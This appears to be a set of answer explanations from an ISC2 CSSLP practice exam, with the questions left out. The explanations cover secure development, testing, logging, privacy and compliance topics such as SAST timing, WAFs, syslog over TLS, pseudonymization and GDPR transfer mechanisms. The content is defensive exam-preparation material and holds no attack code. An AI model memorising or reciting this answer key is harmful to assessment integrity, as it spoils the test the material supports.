ISC2 Certified Secure Software Lifecycle Professional (CSSLP) Practice Test

Role-based security training must be directly relevant to what each job function does. The option that maps distinct learning objectives and hands-on activities to the daily responsibilities of developers (secure coding practices), testers (security test design and tool use), and project managers (risk-based planning and compliance oversight) delivers focused, actionable knowledge. A single generic awareness briefing, a one-size-fits-all penetration-testing course, or simply emailing standards without practice fails to address the specific skills and duties of each role, so they do not satisfy the exam's requirement for role-based security training.

A service-level agreement (SLA) is specifically intended to define measurable performance and service requirements that the supplier must meet throughout the life of the contract. Security-related SLAs commonly spell out log-generation formats, transmission frequency to the customer's SIEM, maximum time to notify of incidents, and deadlines for releasing patches or mitigations. A non-disclosure agreement focuses on confidentiality, not operational security obligations. A code-escrow clause only guarantees source-code availability if the vendor fails to support the product, and an intellectual-property assignment governs ownership rights, not day-to-day security monitoring or response expectations. Therefore, the SLA is the most appropriate vehicle for enforcing continuous logging and vulnerability-response commitments.

Fault injection deliberately introduces faults at the point where they would naturally occur so the team can observe error-handling behavior. Intercepting HSM API calls inside the microservice and forcing them to time out directly emulates the condition of an unresponsive HSM, allowing testers to verify graceful degradation and proper exception handling. Generating random TLS handshakes is fuzz testing that focuses on protocol parsing, not device failure. Reviewing source code is static analysis and does not actively introduce a fault. Disabling the microservice's entire network interface disrupts many functions and is closer to a broad resilience or chaos test, not a targeted injection at the HSM dependency.

Mean Time to Remediate (sometimes called Average Remediation Time) measures the elapsed time between the discovery of a vulnerability and its successful fix in production or in the code repository. A shorter MTTR demonstrates that the team is responding to findings promptly, which is exactly what the manager wants to monitor. Vulnerability density focuses on the quantity of issues per code size, not the speed of resolution. Code-coverage percentages indicate testing breadth but reveal nothing about remediation speed. Counting security champions is a staffing measure, not a performance or timing metric.

Static application security testing (SAST) examines source or binary code for defects and should be integrated while the code is being written, making the implementation/coding phase the appropriate point in a Waterfall project. Security requirements belong in the requirements phase, threat modeling is most effective during design, and penetration testing is normally scheduled for the testing/verification phase after the system is built.

The fail-safe (or fail-secure) principle requires that when a component fails it defaults to the most secure state, preventing unauthorized access even if usability is reduced. Keeping the lock engaged and forcing users to rely on a physical override key maintains security despite the software failure. Automatically unlocking, disabling authentication checks, or repeatedly rebooting may expose the facility to unauthorized entry or create a denial-of-service condition, so they do not satisfy the fail-safe requirement.

Processing the user's precise location locally on the device and transmitting only the minimum necessary information (for example, a coarse-grained or tokenized area identifier) applies the principle of data minimization. By limiting the granularity of the data that leaves the device, the architecture reduces the amount of personally identifiable location information exposed or stored, directly lowering privacy risk while preserving the matching feature. Simply encrypting transmissions protects data in transit but does not reduce what is collected; extending retention increases risk; and using a separate API gateway changes network topology without addressing the privacy issue of collecting fine-grained location data.

ISO/IEC 5230, also known as the OpenChain Specification, is the only ISO/IEC standard that sets out the processes an organization should follow to establish and maintain an open-source license compliance program. ISO/IEC 27034 focuses on secure application development practices, ISO/IEC 12207 covers general software life-cycle processes, and ISO/IEC 27036-4 addresses broader ICT supply-chain security, none of which prescribe detailed OSS license compliance measures. Therefore, referring to ISO/IEC 5230 is the correct choice when assessing open-source license compliance within the software supply chain.

Imperative security embeds access-control logic directly in executable code so it can evaluate dynamic, context-specific information at run-time. Placing a transfer-authorization function inside the service method lets the application inspect live variables such as balances, limits, and fraud flags before permitting the operation. The other choices rely on external, largely static configurations (YAML policies, container manifests, or pre-defined cloud IAM roles) that describe permissions declaratively; they cannot easily incorporate the complex, per-request business logic required here.

Cryptographic erasure meets the NIST SP 800-88 definition of a purge method by rendering data unrecoverable through destruction of the encryption keys protecting the media. Because the SSDs are managed by the cloud provider, you cannot rely on physical destruction or degaussing-and degaussing is ineffective on solid-state media anyway. Logical file deletion does not remove the data, and a single-pass overwrite may be insufficient or infeasible on SSDs whose controllers remap blocks. Therefore, issuing a cryptographic erase command that invalidates the drive's encryption keys is the most appropriate and reliable method for secure data destruction in this scenario.

A web application firewall (WAF) operates in real time between users and the application, inspecting each HTTP request and response. Because it can recognize malicious payloads such as cross-site scripting or SQL injection and block or sanitize them before they reach application code, it provides the desired runtime protection.

Static application security testing (SAST) analyzes source code or binaries during the build phase, not at runtime. Software composition analysis (SCA) inventories third-party components for known vulnerabilities but does not intercept live traffic. Container image signing verifies integrity before deployment; it has no visibility into or control over active HTTP sessions. Therefore, deploying a WAF is the only option that meets the requirement.

Privilege escalation inside a running container is best identified by monitoring the low-level operating-system events that occur when a process tries to change its user or group privileges (for example, setuid or setgid system calls). Kernel-level system call telemetry gathered by a container runtime or eBPF-based sensor (such as Falco) surfaces these events in near real time, allowing the SIEM to alert immediately. Web-server access logs focus on HTTP requests and rarely expose internal privilege changes. Network flow logs show traffic patterns but not internal process activities. Periodic Kubernetes API snapshots capture configuration changes, not moment-to-moment actions occurring inside containers. Therefore, kernel-level system call events provide the most timely and reliable indication of container privilege escalation.

Undocumented functionality is best revealed by treating the system as an unknown environment and actively probing for behavior that is not described in specifications. Black-box fuzzing that mutates resource paths, query strings, headers, and HTTP verbs forces the service to respond to unexpected requests and helps enumerate hidden or forgotten endpoints. Other options fall short: static code analysis can expose coding errors but may miss runtime-only routes; stress testing focuses on performance, not functionality discovery; unit tests based on documented user stories are constrained to what is already known, so they cannot expose undocumented interfaces.

The Process for Attack Simulation and Threat Analysis (PASTA) is a seven-stage, risk-centric threat-modeling methodology. It begins by identifying business objectives and technical scope, then models and simulates plausible attacks to estimate risk, and finally maps security controls to the most significant threats. STRIDE is category-based and asset-centric, CVSS scores known vulnerabilities rather than modeling threats, and Security Content Automation Protocol (SCAP) is a standards framework for automating vulnerability management-not a threat-modeling process.

Cross-site scripting occurs when untrusted data is sent to a browser without proper output handling. The safest countermeasure is context-aware output encoding: before the review text is written into the HTML response, characters such as <, >, ", and & are converted to their corresponding HTML entities. This breaks any script tags an attacker might have stored, rendering them harmless. Merely limiting length, adding MFA, or obfuscating site JavaScript does not neutralize executable payloads in user-supplied content.

Using the TLS transport mapping for syslog defined in RFC 5425 establishes an encrypted channel that prevents packet sniffers from reading log contents (protecting confidentiality) and requires X.509 certificate-based mutual authentication between the log sender and receiver (providing strong source authentication and integrity). This combination directly mitigates the twin risks of eavesdropping and message injection. A plain UDP syslog feed on a separate VLAN offers no cryptographic protection. FTP, even over an IP-restricted path, transmits data unencrypted and relies on post-transfer integrity checks at best. Sending unsigned logs over unencrypted TCP, even if an HMAC were added, would still expose the data to interception and relies on a shared secret that cannot authenticate individual hosts as robustly as mutual TLS. Therefore, the RFC 5425 syslog-over-TLS approach is the most effective answer.

Pseudonymization replaces direct identifiers with artificial identifiers while keeping the means to re-identify data subjects separate and protected. Storing the mapping table in an encrypted repository with very limited access preserves the ability to reverse the process when legally justified, yet prevents the analytics vendor from linking the data to real identities. Hashing and discarding the salt would make re-identification impossible, turning the data into anonymized form instead of pseudonymized. Encrypting the whole file without segregating the key offers confidentiality but not pseudonymization, because decryption automatically restores the identifiers. Simply masking part of the identifier leaves recognizable information exposed and is not considered pseudonymization under privacy regulations.

OWASP SAMM stresses that an organization must start by understanding where it currently stands. The model's initial step is a structured self-assessment that scores the maturity of each SAMM security practice. This baseline reveals strengths and gaps, allowing the team to set realistic targets and prioritize subsequent improvement activities. Deploying static analysis, launching secure coding training, or running a bug-bounty program are valuable tactics, but SAMM recommends pursuing such enhancements only after the initial assessment clarifies which practices need attention and at what maturity level.

SAFECode recommends that organizations adopt a structured process for selecting and managing third-party software. This includes performing security scans of each component for known vulnerabilities before use, approving them through a defined governance process, and continuously monitoring them for newly disclosed issues during the product lifecycle. Simply locking versions, trusting popularity, or relying on open-source licensing alone does not adequately address hidden vulnerabilities or malicious code that may surface after initial selection.

Under GDPR, exporting personal data outside the European Economic Area is lawful only when an adequate transfer mechanism is in place. Standard Contractual Clauses (SCCs) are one of the primary mechanisms allowed by Article 46 and must be executed with the recipient before any transfer occurs. While encryption, private links, and snapshot retention improve security or operational efficiency, none of them on their own satisfy the legal requirement for an appropriate international-transfer safeguard. Therefore, concluding SCCs with the cloud provider is the most appropriate privacy requirement.